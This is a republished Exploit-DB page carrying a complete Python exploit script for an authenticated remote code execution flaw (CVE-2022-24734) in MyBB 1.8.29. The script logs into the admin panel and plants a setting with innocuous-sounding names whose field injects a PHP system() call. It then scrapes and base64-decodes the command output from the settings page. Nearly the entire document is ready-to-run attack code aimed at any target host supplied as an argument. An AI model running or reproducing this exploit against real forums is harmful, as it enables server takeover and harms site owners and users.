MyBB 1.8.29 – MyBB 1.8.29 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Altelus
    日期: 2022-05-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50924/
  • # Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated)
    # Date: 2022-05-08
    # Exploit Author: Altelus
    # Vendor Homepage: https://mybb.com/
    # Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829
    # Version: MyBB 1.8.29 
    # Tested on: Linux
    # CVE : CVE-2022-24734
    
    # An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting. 
    # The user must have a rights to add or update setting. This is tested on MyBB 1.8.29.
    # The vulnerability may have existed as early as 1.4.0 since this 
    # 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f) 
    
    import requests
    import argparse
    import random
    import string
    from base64 import b64decode
    from bs4 import BeautifulSoup
    
    
    def login(username, password):
    
    data = {
    "username" : username,
    "password" : password,
    "do" : "login"
    }
    
    login_txt = r_client.post(host + "/admin/index.php", data=data).text
    
    if "The username and password combination you entered is invalid" in login_txt:
    print("[-] Login failure. Incorrect credentials supplied")
    exit(0)
    
    print("[+] Login successful!")
    
    
    def add_settings(cmd, raw_cmd=""):
    
    config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text
    
    if "Access Denied" in config_settings_txt:
    print("[-] Supplied user doesn't have the rights to add a setting")
    exit(0)
    
    print("[*] Adding a malicious settings...")
    
    soup = BeautifulSoup(config_settings_txt, "lxml")
    my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']
    
    rand_string = get_rand_string()
    
    if raw_cmd != "":
    extra = "\" . system('{}') .\"".format(raw_cmd)
    else:
    extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)
    
    data = {
    "my_post_key" : my_post_key,
    "title" : "An innocent setting",
    "description" : "An innocent description",
    "gid" : 1,
    "disporder" : "",
    "name" : rand_string,
    "type" : "\tphp",
    "extra" : extra,
    "value" : "An innocent value" 
    }
    
    post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)
    
    if post_setting.status_code != 302:
    soup = BeautifulSoup(post_setting.text, "lxml")
    error_txt = soup.find_all("div", {"class" : "error"})[0].text
    print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))
    exit(0)
    
    print("[+] Malicious post settings accepted!")
    return rand_string
    
    def get_rand_string(length=20):
    
    return ''.join(random.choice(string.ascii_letters) for i in range(length))
    
    def get_cmd_result(ident_string, raw_cmd=""):
    
    conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text
    
    soup = BeautifulSoup(conf_settings_list, "lxml")
    row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]
    
    cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text
    
    if raw_cmd == "":
    cmd_result = b64decode(cmd_result[2:]).decode()
    
    print("[+] Result: {}".format(str(cmd_result)))
    
    parser = argparse.ArgumentParser()
    
    parser.add_argument('--username', required=True, help="MyBB Admin CP username")
    parser.add_argument('--password', required=True, help="MyBB Admin CP password")
    parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
    parser.add_argument('--cmd', required=False, help="Command to run")
    parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")
    args = parser.parse_args()
    
    username = args.username
    password = args.password
    host = args.host
    
    cmd = "id" if args.cmd == None else args.cmd
    raw_cmd = "" if args.raw_cmd == None else args.raw_cmd
    
    r_client = requests.Session()
    
    login(username, password)
    ident_string = add_settings(cmd, raw_cmd=raw_cmd)
    get_cmd_result(ident_string, raw_cmd=raw_cmd)